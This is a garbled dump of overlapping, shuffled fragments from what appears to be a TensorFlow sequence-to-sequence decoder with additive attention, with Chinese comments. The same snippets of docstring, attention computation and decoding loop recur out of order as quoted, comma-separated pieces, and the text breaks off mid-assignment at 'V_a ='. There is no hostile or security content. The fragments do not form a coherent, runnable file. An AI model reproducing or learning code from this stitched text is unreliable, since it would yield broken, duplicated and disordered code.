output_projection[1] prev_symbol = tf.argmax(prev, 1) #得到对应的INDEX emb_prev", "and decoder_inputs will be ignored, except for the first element (\"GO\" symbol). This", "+ output_projection[1] prev_symbol = tf.argmax(prev, 1) #得到对应的INDEX emb_prev = tf.gather(embedding, prev_symbol) #得到这个INDEX对应的embedding return", "is decoder input; attention_final:[batch_size x attn_size] output, state = cell(inp, state,context_vector) #attention_final TODO", "time-step. It is a 2D Tensor of shape [batch_size x cell.state_size]. (Note that", "applied to the i-th output in order to generate the i+1-st input, and", "represent 'thought vector' cell: core_rnn_cell.RNNCell defining the cell function and size. loop_function: If", "encoder input p_attention=tf.nn.softmax(attention_logits-attention_logits_max)#[batch_size x attn_length] # 3.get weighted sum of hidden state for", "state,context_vector) #attention_final TODO 使用RNN走一步 outputs.append(output) # 将输出添加到结果列表中 if loop_function is not None: prev", "fed previous output will first be multiplied by W and added B. :return:", "print(\"rnn_decoder_with_attention started...\") state = initial_state #[batch_size x cell.state_size]. _, hidden_size = state.get_shape().as_list() #200", "outputs = [] prev = None ################################################# for i, inp in enumerate(decoder_inputs):#循环解码部分的输入。如sentence_length个[batch_size x", "output_projection=None): \"\"\" Get a loop_function that extracts the previous symbol and embeds it.", "length as decoder_inputs of 2D Tensors with shape [batch_size x output_size] containing generated", "= None ################################################# for i, inp in enumerate(decoder_inputs):#循环解码部分的输入。如sentence_length个[batch_size x input_size] # 如果是训练,使用训练数据的输入;如果是test, 将t时刻的输出作为t", "attention state p_attention=tf.expand_dims(p_attention,axis=2) #[batch_size x attn_length x 1] # attention_states:[batch_size x attn_length x", "# 如果是训练,使用训练数据的输入;如果是test,将t时刻的输出作为t+1时刻的s输入 def rnn_decoder_with_attention(decoder_inputs, initial_state, cell, loop_function,attention_states,scope=None):#3D Tensor [batch_size x attn_length x attn_size]", "A loop function \"\"\" def loop_function(prev, _): if output_projection is not None: prev", "loop_function(prev, i) = next * prev is a 2D Tensor of shape [batch_size", "attention_logits=tf.reshape(attention_logits,shape=(-1,sequence_length)) #attention_logits:[batch_size,sequence_length] ########################################################################################################################################################## #attention_logits=tf.reduce_sum(attention_logits,2) #[batch_size x attn_length] attention_logits_max=tf.reduce_max(attention_logits,axis=1,keep_dims=True) #[batch_size x 1] # possibility", "They are different for LSTM cells though.) \"\"\" with tf.variable_scope(scope or \"rnn_decoder\"): print(\"rnn_decoder_with_attention", "the previous symbol and embeds it. Used by decoder. :param embedding: embedding tensor", "attn_size].it is represent input X. scope: VariableScope for the created subgraph; defaults to", "\"rnn_decoder\"): print(\"rnn_decoder_with_attention started...\") state = initial_state #[batch_size x cell.state_size]. _, hidden_size = state.get_shape().as_list()", "scope: VariableScope for the created subgraph; defaults to \"rnn_decoder\". Returns: A tuple of", "cell.state_size].it is the encoded vector of input sentences, which represent 'thought vector' cell:", "previous output will first be multiplied by W and added B. :return: A", "#attention_final TODO 使用RNN走一步 outputs.append(output) # 将输出添加到结果列表中 if loop_function is not None: prev =", "Tensor of shape [batch_size x input_size]. attention_states: 3D Tensor [batch_size x attn_length x", "and embeds it. Used by decoder. :param embedding: embedding tensor for symbol :param", "B). If provided, each fed previous output will first be multiplied by W", "attention_states=tf.reshape(attention_states,shape=(-1,hidden_size)) #[batch_size*sentence_length,hidden_size] attention_states=tf.matmul(attention_states, U_a) #[batch_size*sentence_length,hidden_size] #print(\"batch_size\",batch_size,\" ;sequence_length:\",sequence_length,\" ;hidden_size:\",hidden_size) #print(\"attention_states:\", attention_states) #(?, 200) attention_states=tf.reshape(attention_states,shape=(-1,sequence_length,hidden_size))", "state: The state of each cell at the final time-step. It is a", "if i > 0: tf.get_variable_scope().reuse_variables() ##ATTENTION################################################################################################################################################# # 1.get logits of attention for each", "final time-step. It is a 2D Tensor of shape [batch_size x cell.state_size]. (Note", "Tensor [batch_size x attn_length x attn_size].it is represent input X. scope: VariableScope for", "2D Tensors [batch_size x input_size].it is decoder input. initial_state: 2D Tensor with shape", "output_size], * i is an integer, the step number (when advanced control is", "x attn_size].it is represent input X. scope: VariableScope for the created subgraph; defaults", "in enumerate(decoder_inputs):#循环解码部分的输入。如sentence_length个[batch_size x input_size] # 如果是训练,使用训练数据的输入;如果是test, 将t时刻的输出作为t + 1 时刻的s输入 if loop_function is", "[batch_size x input_size].it is decoder input. initial_state: 2D Tensor with shape [batch_size x", "This can be used for decoding, but also for training to emulate http://arxiv.org/abs/1506.03099.", "W_a = tf.get_variable(\"W_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) query=tf.matmul(query, W_a) #[batch_size,hidden_size] query=tf.expand_dims(query,axis=1) #[batch_size, 1, hidden_size] U_a", "focus for each encoder input p_attention=tf.nn.softmax(attention_logits-attention_logits_max)#[batch_size x attn_length] # 3.get weighted sum of", "decoder_inputs will be ignored, except for the first element (\"GO\" symbol). This can", "for training to emulate http://arxiv.org/abs/1506.03099. Signature -- loop_function(prev, i) = next * prev", "created subgraph; defaults to \"rnn_decoder\". Returns: A tuple of the form (outputs, state),", "\"\"\" Get a loop_function that extracts the previous symbol and embeds it. Used", "state), where: outputs: A list of the same length as decoder_inputs of 2D", "shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) query=tf.matmul(query, W_a) #[batch_size,hidden_size] query=tf.expand_dims(query,axis=1) #[batch_size, 1, hidden_size] U_a = tf.get_variable(\"U_a\", shape=[hidden_size,", "[batch_size,1, hidden_size] #attention_states_reshaped: [batch_size,sentence_length,hidden_size] attention_logits=tf.nn.tanh(query+attention_states+U_aa) #[batch_size,sentence_length,hidden_size]. additive style # 2.get possibility of attention", "cell.state_size] query=state W_a = tf.get_variable(\"W_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) query=tf.matmul(query, W_a) #[batch_size,hidden_size] query=tf.expand_dims(query,axis=1) #[batch_size, 1,", "provided, each fed previous output will first be multiplied by W and added", "If provided, each fed previous output will first be multiplied by W and", "LSTM cells though.) \"\"\" with tf.variable_scope(scope or \"rnn_decoder\"): print(\"rnn_decoder_with_attention started...\") state = initial_state", "3.get weighted sum of hidden state for each encoder input as attention state", "[batch_size x attn_length x attn_size] \"\"\"RNN decoder for the sequence-to-sequence model. Args: decoder_inputs:", "None:#测试的时候:如果loop_function不为空且前一个词的值不为空,那么使用前一个的值作为RNN的输入 with tf.variable_scope(\"loop_function\", reuse=True): inp = loop_function(prev, i) if i > 0: tf.get_variable_scope().reuse_variables()", "input.it means how much attention or focus for each encoder input p_attention=tf.nn.softmax(attention_logits-attention_logits_max)#[batch_size x", "= tf.get_variable(\"U_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) U_aa = tf.get_variable(\"U_aa\", shape=[ hidden_size]) attention_states=tf.reshape(attention_states,shape=(-1,hidden_size)) #[batch_size*sentence_length,hidden_size] attention_states=tf.matmul(attention_states, U_a)", "initial_state: 2D Tensor with shape [batch_size x cell.state_size].it is the encoded vector of", "emulate http://arxiv.org/abs/1506.03099. Signature -- loop_function(prev, i) = next * prev is a 2D", "#attention_logits:[batch_size,sequence_length] ########################################################################################################################################################## #attention_logits=tf.reduce_sum(attention_logits,2) #[batch_size x attn_length] attention_logits_max=tf.reduce_max(attention_logits,axis=1,keep_dims=True) #[batch_size x 1] # possibility distribution", "\"\"\" def loop_function(prev, _): if output_projection is not None: prev = tf.matmul(prev, output_projection[0])", "tf.get_variable_scope().reuse_variables() ##ATTENTION################################################################################################################################################# # 1.get logits of attention for each encoder input. attention_states:[batch_size x", "hidden state for each encoder input as attention state p_attention=tf.expand_dims(p_attention,axis=2) #[batch_size x attn_length", "\"\"\"RNN decoder for the sequence-to-sequence model. Args: decoder_inputs: A list of 2D Tensors", "#print(\"attention_states:\", attention_states) #(?, 200) attention_states=tf.reshape(attention_states,shape=(-1,sequence_length,hidden_size)) # TODO [batch_size,sentence_length,hidden_size] #query_expanded: [batch_size,1, hidden_size] #attention_states_reshaped: [batch_size,sentence_length,hidden_size]", "shape=[ hidden_size]) attention_states=tf.reshape(attention_states,shape=(-1,hidden_size)) #[batch_size*sentence_length,hidden_size] attention_states=tf.matmul(attention_states, U_a) #[batch_size*sentence_length,hidden_size] #print(\"batch_size\",batch_size,\" ;sequence_length:\",sequence_length,\" ;hidden_size:\",hidden_size) #print(\"attention_states:\", attention_states) #(?,", "can be the same. They are different for LSTM cells though.) \"\"\" with", "http://arxiv.org/abs/1506.03099. Signature -- loop_function(prev, i) = next * prev is a 2D Tensor", "# -*- coding: utf-8 -*- import tensorflow as tf # 【该方法测试的时候使用】返回一个方法。这个方法根据输入的值,得到对应的索引,再得到这个词的embedding. def extract_argmax_and_embed(embedding,", "cell or GRU cell, outputs and states can be the same. They are", "x input_size].it is decoder input. initial_state: 2D Tensor with shape [batch_size x cell.state_size].it", "query=tf.expand_dims(query,axis=1) #[batch_size, 1, hidden_size] U_a = tf.get_variable(\"U_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) U_aa = tf.get_variable(\"U_aa\", shape=[", "#print(\"batch_size\",batch_size,\" ;sequence_length:\",sequence_length,\" ;hidden_size:\",hidden_size) #print(\"attention_states:\", attention_states) #(?, 200) attention_states=tf.reshape(attention_states,shape=(-1,sequence_length,hidden_size)) # TODO [batch_size,sentence_length,hidden_size] #query_expanded: [batch_size,1,", "is decoder input. initial_state: 2D Tensor with shape [batch_size x cell.state_size].it is the", "input_size].it is decoder input; attention_final:[batch_size x attn_size] output, state = cell(inp, state,context_vector) #attention_final", "shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) U_aa = tf.get_variable(\"U_aa\", shape=[ hidden_size]) attention_states=tf.reshape(attention_states,shape=(-1,hidden_size)) #[batch_size*sentence_length,hidden_size] attention_states=tf.matmul(attention_states, U_a) #[batch_size*sentence_length,hidden_size] #print(\"batch_size\",batch_size,\"", "for i, inp in enumerate(decoder_inputs):#循环解码部分的输入。如sentence_length个[batch_size x input_size] # 如果是训练,使用训练数据的输入;如果是test, 将t时刻的输出作为t + 1 时刻的s输入", "each encoder input p_attention=tf.nn.softmax(attention_logits-attention_logits_max)#[batch_size x attn_length] # 3.get weighted sum of hidden state", "a pair (W, B). If provided, each fed previous output will first be", "loop_function that extracts the previous symbol and embeds it. Used by decoder. :param", "output_projection[1] prev_symbol = tf.argmax(prev, 1) #得到对应的INDEX emb_prev = tf.gather(embedding, prev_symbol) #得到这个INDEX对应的embedding return emb_prev", "enumerate(decoder_inputs):#循环解码部分的输入。如sentence_length个[batch_size x input_size] # 如果是训练,使用训练数据的输入;如果是test, 将t时刻的输出作为t + 1 时刻的s输入 if loop_function is not", "attention_final:[batch_size x attn_size] output, state = cell(inp, state,context_vector) #attention_final TODO 使用RNN走一步 outputs.append(output) #", "not None: prev = tf.matmul(prev, output_projection[0]) + output_projection[1] prev_symbol = tf.argmax(prev, 1) #得到对应的INDEX", "attention or focus for each encoder input p_attention=tf.nn.softmax(attention_logits-attention_logits_max)#[batch_size x attn_length] # 3.get weighted", "#[batch_size x attn_length x attn_size] context_vector=tf.reduce_sum(attention_final,axis=1) #[batch_size x attn_size] ############################################################################################################################################################ #inp:[batch_size x input_size].it", "It is a 2D Tensor of shape [batch_size x cell.state_size]. (Note that in", "Tensor of shape [batch_size x output_size], * i is an integer, the step", "[batch_size,sentence_length,hidden_size] attention_logits=tf.nn.tanh(query+attention_states+U_aa) #[batch_size,sentence_length,hidden_size]. additive style # 2.get possibility of attention attention_logits=tf.reshape(attention_logits,shape=(-1,hidden_size)) #batch_size*sequence_length [batch_size*sentence_length,hidden_size]", "be the same. They are different for LSTM cells though.) \"\"\" with tf.variable_scope(scope", "state.get_shape().as_list() #200 attention_states_original=attention_states batch_size,sequence_length,_=attention_states.get_shape().as_list() outputs = [] prev = None ################################################# for i,", "x cell.state_size]. _, hidden_size = state.get_shape().as_list() #200 attention_states_original=attention_states batch_size,sequence_length,_=attention_states.get_shape().as_list() outputs = [] prev", "#[batch_size,sentence_length,hidden_size]. additive style # 2.get possibility of attention attention_logits=tf.reshape(attention_logits,shape=(-1,hidden_size)) #batch_size*sequence_length [batch_size*sentence_length,hidden_size] V_a =", "and size. loop_function: If not None, this function will be applied to the", "for LSTM cells though.) \"\"\" with tf.variable_scope(scope or \"rnn_decoder\"): print(\"rnn_decoder_with_attention started...\") state =", "attn_length x attn_size].it is represent input X. scope: VariableScope for the created subgraph;", "generate the i+1-st input, and decoder_inputs will be ignored, except for the first", "GRU cell, outputs and states can be the same. They are different for", "outputs.append(output) # 将输出添加到结果列表中 if loop_function is not None: prev = output print(\"rnn_decoder_with_attention ended...\")", "loop_function,attention_states,scope=None):#3D Tensor [batch_size x attn_length x attn_size] \"\"\"RNN decoder for the sequence-to-sequence model.", "if loop_function is not None: prev = output print(\"rnn_decoder_with_attention ended...\") return outputs, state", "possibility distribution for each encoder input.it means how much attention or focus for", "None or a pair (W, B). If provided, each fed previous output will", "x attn_size] output, state = cell(inp, state,context_vector) #attention_final TODO 使用RNN走一步 outputs.append(output) # 将输出添加到结果列表中", "= next * prev is a 2D Tensor of shape [batch_size x output_size],", "list of the same length as decoder_inputs of 2D Tensors with shape [batch_size", "distribution for each encoder input.it means how much attention or focus for each", "None, this function will be applied to the i-th output in order to", "################################################# for i, inp in enumerate(decoder_inputs):#循环解码部分的输入。如sentence_length个[batch_size x input_size] # 如果是训练,使用训练数据的输入;如果是test, 将t时刻的输出作为t + 1", "attention_logits_max=tf.reduce_max(attention_logits,axis=1,keep_dims=True) #[batch_size x 1] # possibility distribution for each encoder input.it means how", "attention for each encoder input. attention_states:[batch_size x attn_length x attn_size]; query=state:[batch_size x cell.state_size]", "to generate the i+1-st input, and decoder_inputs will be ignored, except for the", "attention_states:[batch_size x attn_length x attn_size]; query=state:[batch_size x cell.state_size] query=state W_a = tf.get_variable(\"W_a\", shape=[hidden_size,", "U_a = tf.get_variable(\"U_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) U_aa = tf.get_variable(\"U_aa\", shape=[ hidden_size]) attention_states=tf.reshape(attention_states,shape=(-1,hidden_size)) #[batch_size*sentence_length,hidden_size] attention_states=tf.matmul(attention_states,", "loop function \"\"\" def loop_function(prev, _): if output_projection is not None: prev =", "model. Args: decoder_inputs: A list of 2D Tensors [batch_size x input_size].it is decoder", "with tf.variable_scope(\"loop_function\", reuse=True): inp = loop_function(prev, i) if i > 0: tf.get_variable_scope().reuse_variables() ##ATTENTION#################################################################################################################################################", "possibility of attention attention_logits=tf.reshape(attention_logits,shape=(-1,hidden_size)) #batch_size*sequence_length [batch_size*sentence_length,hidden_size] V_a = tf.get_variable(\"V_a\", shape=[hidden_size,1],initializer=tf.random_normal_initializer(stddev=0.1)) #[hidden_size,1] attention_logits=tf.matmul(attention_logits,V_a) #最终需要的是[batch_size*sentence_length,1]<-----[batch_size*sentence_length,hidden_size],[hidden_size,1]", "state = initial_state #[batch_size x cell.state_size]. _, hidden_size = state.get_shape().as_list() #200 attention_states_original=attention_states batch_size,sequence_length,_=attention_states.get_shape().as_list()", "it. Used by decoder. :param embedding: embedding tensor for symbol :param output_projection: None", "is needed), * next is a 2D Tensor of shape [batch_size x input_size].", "attention_states) #(?, 200) attention_states=tf.reshape(attention_states,shape=(-1,sequence_length,hidden_size)) # TODO [batch_size,sentence_length,hidden_size] #query_expanded: [batch_size,1, hidden_size] #attention_states_reshaped: [batch_size,sentence_length,hidden_size] attention_logits=tf.nn.tanh(query+attention_states+U_aa)", "attn_size] context_vector=tf.reduce_sum(attention_final,axis=1) #[batch_size x attn_size] ############################################################################################################################################################ #inp:[batch_size x input_size].it is decoder input; attention_final:[batch_size", "#[hidden_size,1] attention_logits=tf.matmul(attention_logits,V_a) #最终需要的是[batch_size*sentence_length,1]<-----[batch_size*sentence_length,hidden_size],[hidden_size,1] attention_logits=tf.reshape(attention_logits,shape=(-1,sequence_length)) #attention_logits:[batch_size,sequence_length] ########################################################################################################################################################## #attention_logits=tf.reduce_sum(attention_logits,2) #[batch_size x attn_length] attention_logits_max=tf.reduce_max(attention_logits,axis=1,keep_dims=True) #[batch_size x", "that extracts the previous symbol and embeds it. Used by decoder. :param embedding:", "for the created subgraph; defaults to \"rnn_decoder\". Returns: A tuple of the form", "as tf # 【该方法测试的时候使用】返回一个方法。这个方法根据输入的值,得到对应的索引,再得到这个词的embedding. def extract_argmax_and_embed(embedding, output_projection=None): \"\"\" Get a loop_function that extracts", "encoder input. attention_states:[batch_size x attn_length x attn_size]; query=state:[batch_size x cell.state_size] query=state W_a =", "is the encoded vector of input sentences, which represent 'thought vector' cell: core_rnn_cell.RNNCell", "i > 0: tf.get_variable_scope().reuse_variables() ##ATTENTION################################################################################################################################################# # 1.get logits of attention for each encoder", "are different for LSTM cells though.) \"\"\" with tf.variable_scope(scope or \"rnn_decoder\"): print(\"rnn_decoder_with_attention started...\")", "TODO 使用RNN走一步 outputs.append(output) # 将输出添加到结果列表中 if loop_function is not None: prev = output", "attn_size] output, state = cell(inp, state,context_vector) #attention_final TODO 使用RNN走一步 outputs.append(output) # 将输出添加到结果列表中 if", "pair (W, B). If provided, each fed previous output will first be multiplied", "to \"rnn_decoder\". Returns: A tuple of the form (outputs, state), where: outputs: A", "outputs and states can be the same. They are different for LSTM cells", "a 2D Tensor of shape [batch_size x output_size], * i is an integer,", "of shape [batch_size x output_size], * i is an integer, the step number", "like basic RNN cell or GRU cell, outputs and states can be the", "and added B. :return: A loop function \"\"\" def loop_function(prev, _): if output_projection", "input_size]. attention_states: 3D Tensor [batch_size x attn_length x attn_size].it is represent input X.", "时刻的s输入 if loop_function is not None and prev is not None:#测试的时候:如果loop_function不为空且前一个词的值不为空,那么使用前一个的值作为RNN的输入 with tf.variable_scope(\"loop_function\",", "X. scope: VariableScope for the created subgraph; defaults to \"rnn_decoder\". Returns: A tuple", "the same length as decoder_inputs of 2D Tensors with shape [batch_size x output_size]", "W and added B. :return: A loop function \"\"\" def loop_function(prev, _): if", "output_size] containing generated outputs. state: The state of each cell at the final", "None ################################################# for i, inp in enumerate(decoder_inputs):#循环解码部分的输入。如sentence_length个[batch_size x input_size] # 如果是训练,使用训练数据的输入;如果是test, 将t时刻的输出作为t +", "x attn_length x attn_size]; p_attention:[batch_size x attn_length]; attention_final=tf.multiply(attention_states_original,p_attention) #[batch_size x attn_length x attn_size]", "form (outputs, state), where: outputs: A list of the same length as decoder_inputs", "of the form (outputs, state), where: outputs: A list of the same length", "the form (outputs, state), where: outputs: A list of the same length as", "#[batch_size*sentence_length,hidden_size] attention_states=tf.matmul(attention_states, U_a) #[batch_size*sentence_length,hidden_size] #print(\"batch_size\",batch_size,\" ;sequence_length:\",sequence_length,\" ;hidden_size:\",hidden_size) #print(\"attention_states:\", attention_states) #(?, 200) attention_states=tf.reshape(attention_states,shape=(-1,sequence_length,hidden_size)) #", "x cell.state_size].it is the encoded vector of input sentences, which represent 'thought vector'", "如果是训练,使用训练数据的输入;如果是test,将t时刻的输出作为t+1时刻的s输入 def rnn_decoder_with_attention(decoder_inputs, initial_state, cell, loop_function,attention_states,scope=None):#3D Tensor [batch_size x attn_length x attn_size] \"\"\"RNN", "but also for training to emulate http://arxiv.org/abs/1506.03099. Signature -- loop_function(prev, i) = next", "of hidden state for each encoder input as attention state p_attention=tf.expand_dims(p_attention,axis=2) #[batch_size x", "or a pair (W, B). If provided, each fed previous output will first", "a 2D Tensor of shape [batch_size x input_size]. attention_states: 3D Tensor [batch_size x", "is represent input X. scope: VariableScope for the created subgraph; defaults to \"rnn_decoder\".", "the final time-step. It is a 2D Tensor of shape [batch_size x cell.state_size].", "W_a) #[batch_size,hidden_size] query=tf.expand_dims(query,axis=1) #[batch_size, 1, hidden_size] U_a = tf.get_variable(\"U_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) U_aa =", "as decoder_inputs of 2D Tensors with shape [batch_size x output_size] containing generated outputs.", "input; attention_final:[batch_size x attn_size] output, state = cell(inp, state,context_vector) #attention_final TODO 使用RNN走一步 outputs.append(output)", "loop_function(prev, i) if i > 0: tf.get_variable_scope().reuse_variables() ##ATTENTION################################################################################################################################################# # 1.get logits of attention", "will first be multiplied by W and added B. :return: A loop function", "= tf.get_variable(\"W_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) query=tf.matmul(query, W_a) #[batch_size,hidden_size] query=tf.expand_dims(query,axis=1) #[batch_size, 1, hidden_size] U_a =", "U_a) #[batch_size*sentence_length,hidden_size] #print(\"batch_size\",batch_size,\" ;sequence_length:\",sequence_length,\" ;hidden_size:\",hidden_size) #print(\"attention_states:\", attention_states) #(?, 200) attention_states=tf.reshape(attention_states,shape=(-1,sequence_length,hidden_size)) # TODO [batch_size,sentence_length,hidden_size]", "each fed previous output will first be multiplied by W and added B.", "advanced control is needed), * next is a 2D Tensor of shape [batch_size", "state of each cell at the final time-step. It is a 2D Tensor", "attention_logits=tf.reshape(attention_logits,shape=(-1,hidden_size)) #batch_size*sequence_length [batch_size*sentence_length,hidden_size] V_a = tf.get_variable(\"V_a\", shape=[hidden_size,1],initializer=tf.random_normal_initializer(stddev=0.1)) #[hidden_size,1] attention_logits=tf.matmul(attention_logits,V_a) #最终需要的是[batch_size*sentence_length,1]<-----[batch_size*sentence_length,hidden_size],[hidden_size,1] attention_logits=tf.reshape(attention_logits,shape=(-1,sequence_length)) #attention_logits:[batch_size,sequence_length] ##########################################################################################################################################################", "def extract_argmax_and_embed(embedding, output_projection=None): \"\"\" Get a loop_function that extracts the previous symbol and", "#[batch_size x 1] # possibility distribution for each encoder input.it means how much", "x input_size].it is decoder input; attention_final:[batch_size x attn_size] output, state = cell(inp, state,context_vector)", "prev = tf.matmul(prev, output_projection[0]) + output_projection[1] prev_symbol = tf.argmax(prev, 1) #得到对应的INDEX emb_prev =", "shape [batch_size x input_size]. attention_states: 3D Tensor [batch_size x attn_length x attn_size].it is", "in some cases, like basic RNN cell or GRU cell, outputs and states", "x 1] # attention_states:[batch_size x attn_length x attn_size]; p_attention:[batch_size x attn_length]; attention_final=tf.multiply(attention_states_original,p_attention) #[batch_size", "attention_logits=tf.matmul(attention_logits,V_a) #最终需要的是[batch_size*sentence_length,1]<-----[batch_size*sentence_length,hidden_size],[hidden_size,1] attention_logits=tf.reshape(attention_logits,shape=(-1,sequence_length)) #attention_logits:[batch_size,sequence_length] ########################################################################################################################################################## #attention_logits=tf.reduce_sum(attention_logits,2) #[batch_size x attn_length] attention_logits_max=tf.reduce_max(attention_logits,axis=1,keep_dims=True) #[batch_size x 1]", "# 2.get possibility of attention attention_logits=tf.reshape(attention_logits,shape=(-1,hidden_size)) #batch_size*sequence_length [batch_size*sentence_length,hidden_size] V_a = tf.get_variable(\"V_a\", shape=[hidden_size,1],initializer=tf.random_normal_initializer(stddev=0.1)) #[hidden_size,1]", "attn_size] ############################################################################################################################################################ #inp:[batch_size x input_size].it is decoder input; attention_final:[batch_size x attn_size] output, state", "input sentences, which represent 'thought vector' cell: core_rnn_cell.RNNCell defining the cell function and", "shape [batch_size x cell.state_size]. (Note that in some cases, like basic RNN cell", "(Note that in some cases, like basic RNN cell or GRU cell, outputs", "for symbol :param output_projection: None or a pair (W, B). If provided, each", "Tensor with shape [batch_size x cell.state_size].it is the encoded vector of input sentences,", "[batch_size x cell.state_size].it is the encoded vector of input sentences, which represent 'thought", "decoder_inputs of 2D Tensors with shape [batch_size x output_size] containing generated outputs. state:", "#[batch_size x cell.state_size]. _, hidden_size = state.get_shape().as_list() #200 attention_states_original=attention_states batch_size,sequence_length,_=attention_states.get_shape().as_list() outputs = []", "= tf.matmul(prev, output_projection[0]) + output_projection[1] prev_symbol = tf.argmax(prev, 1) #得到对应的INDEX emb_prev = tf.gather(embedding,", "is not None:#测试的时候:如果loop_function不为空且前一个词的值不为空,那么使用前一个的值作为RNN的输入 with tf.variable_scope(\"loop_function\", reuse=True): inp = loop_function(prev, i) if i >", "[batch_size*sentence_length,hidden_size] V_a = tf.get_variable(\"V_a\", shape=[hidden_size,1],initializer=tf.random_normal_initializer(stddev=0.1)) #[hidden_size,1] attention_logits=tf.matmul(attention_logits,V_a) #最终需要的是[batch_size*sentence_length,1]<-----[batch_size*sentence_length,hidden_size],[hidden_size,1] attention_logits=tf.reshape(attention_logits,shape=(-1,sequence_length)) #attention_logits:[batch_size,sequence_length] ########################################################################################################################################################## #attention_logits=tf.reduce_sum(attention_logits,2) #[batch_size", "* i is an integer, the step number (when advanced control is needed),", "number (when advanced control is needed), * next is a 2D Tensor of", "the first element (\"GO\" symbol). This can be used for decoding, but also", "is an integer, the step number (when advanced control is needed), * next", "tuple of the form (outputs, state), where: outputs: A list of the same", "if loop_function is not None and prev is not None:#测试的时候:如果loop_function不为空且前一个词的值不为空,那么使用前一个的值作为RNN的输入 with tf.variable_scope(\"loop_function\", reuse=True):", "p_attention=tf.expand_dims(p_attention,axis=2) #[batch_size x attn_length x 1] # attention_states:[batch_size x attn_length x attn_size]; p_attention:[batch_size", "x attn_size]; p_attention:[batch_size x attn_length]; attention_final=tf.multiply(attention_states_original,p_attention) #[batch_size x attn_length x attn_size] context_vector=tf.reduce_sum(attention_final,axis=1) #[batch_size", "2D Tensor of shape [batch_size x input_size]. attention_states: 3D Tensor [batch_size x attn_length", "-- loop_function(prev, i) = next * prev is a 2D Tensor of shape", "If not None, this function will be applied to the i-th output in", "size. loop_function: If not None, this function will be applied to the i-th", "#query_expanded: [batch_size,1, hidden_size] #attention_states_reshaped: [batch_size,sentence_length,hidden_size] attention_logits=tf.nn.tanh(query+attention_states+U_aa) #[batch_size,sentence_length,hidden_size]. additive style # 2.get possibility of", "the i-th output in order to generate the i+1-st input, and decoder_inputs will", "encoder input.it means how much attention or focus for each encoder input p_attention=tf.nn.softmax(attention_logits-attention_logits_max)#[batch_size", "be applied to the i-th output in order to generate the i+1-st input,", "decoding, but also for training to emulate http://arxiv.org/abs/1506.03099. Signature -- loop_function(prev, i) =", "vector' cell: core_rnn_cell.RNNCell defining the cell function and size. loop_function: If not None,", "tf.get_variable(\"U_aa\", shape=[ hidden_size]) attention_states=tf.reshape(attention_states,shape=(-1,hidden_size)) #[batch_size*sentence_length,hidden_size] attention_states=tf.matmul(attention_states, U_a) #[batch_size*sentence_length,hidden_size] #print(\"batch_size\",batch_size,\" ;sequence_length:\",sequence_length,\" ;hidden_size:\",hidden_size) #print(\"attention_states:\", attention_states)", "[batch_size x attn_length x attn_size].it is represent input X. scope: VariableScope for the", "query=tf.matmul(query, W_a) #[batch_size,hidden_size] query=tf.expand_dims(query,axis=1) #[batch_size, 1, hidden_size] U_a = tf.get_variable(\"U_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) U_aa", "-*- import tensorflow as tf # 【该方法测试的时候使用】返回一个方法。这个方法根据输入的值,得到对应的索引,再得到这个词的embedding. def extract_argmax_and_embed(embedding, output_projection=None): \"\"\" Get a", "emb_prev = tf.gather(embedding, prev_symbol) #得到这个INDEX对应的embedding return emb_prev return loop_function # RNN的解码部分。 # 如果是训练,使用训练数据的输入;如果是test,将t时刻的输出作为t+1时刻的s输入", "additive style # 2.get possibility of attention attention_logits=tf.reshape(attention_logits,shape=(-1,hidden_size)) #batch_size*sequence_length [batch_size*sentence_length,hidden_size] V_a = tf.get_variable(\"V_a\",", "x input_size]. attention_states: 3D Tensor [batch_size x attn_length x attn_size].it is represent input", "Returns: A tuple of the form (outputs, state), where: outputs: A list of", "\"\"\" with tf.variable_scope(scope or \"rnn_decoder\"): print(\"rnn_decoder_with_attention started...\") state = initial_state #[batch_size x cell.state_size].", ":param embedding: embedding tensor for symbol :param output_projection: None or a pair (W,", "= [] prev = None ################################################# for i, inp in enumerate(decoder_inputs):#循环解码部分的输入。如sentence_length个[batch_size x input_size]", "# possibility distribution for each encoder input.it means how much attention or focus", "embedding: embedding tensor for symbol :param output_projection: None or a pair (W, B).", "【该方法测试的时候使用】返回一个方法。这个方法根据输入的值,得到对应的索引,再得到这个词的embedding. def extract_argmax_and_embed(embedding, output_projection=None): \"\"\" Get a loop_function that extracts the previous symbol", "将t时刻的输出作为t + 1 时刻的s输入 if loop_function is not None and prev is not", "#得到对应的INDEX emb_prev = tf.gather(embedding, prev_symbol) #得到这个INDEX对应的embedding return emb_prev return loop_function # RNN的解码部分。 #", "VariableScope for the created subgraph; defaults to \"rnn_decoder\". Returns: A tuple of the", "where: outputs: A list of the same length as decoder_inputs of 2D Tensors", "attn_length x attn_size]; query=state:[batch_size x cell.state_size] query=state W_a = tf.get_variable(\"W_a\", shape=[hidden_size, hidden_size],initializer=tf.random_normal_initializer(stddev=0.1)) query=tf.matmul(query,", "embeds it. Used by decoder. :param embedding: embedding tensor for symbol :param output_projection:", "not None, this function will be applied to the i-th output in order", "-*- coding: utf-8 -*- import tensorflow as tf # 【该方法测试的时候使用】返回一个方法。这个方法根据输入的值,得到对应的索引,再得到这个词的embedding. def extract_argmax_and_embed(embedding, output_projection=None):", "embedding tensor for symbol :param output_projection: None or a pair (W, B). If", "attention_final=tf.multiply(attention_states_original,p_attention) #[batch_size x attn_length x attn_size] context_vector=tf.reduce_sum(attention_final,axis=1) #[batch_size x attn_size] ############################################################################################################################################################ #inp:[batch_size x", "1] # possibility distribution for each encoder input.it means how much attention or", "A list of the same length as decoder_inputs of 2D Tensors with shape", "2D Tensor with shape [batch_size x cell.state_size].it is the encoded vector of input", "will be ignored, except for the first element (\"GO\" symbol). This can be", "x attn_length] attention_logits_max=tf.reduce_max(attention_logits,axis=1,keep_dims=True) #[batch_size x 1] # possibility distribution for each encoder input.it", "V_a = 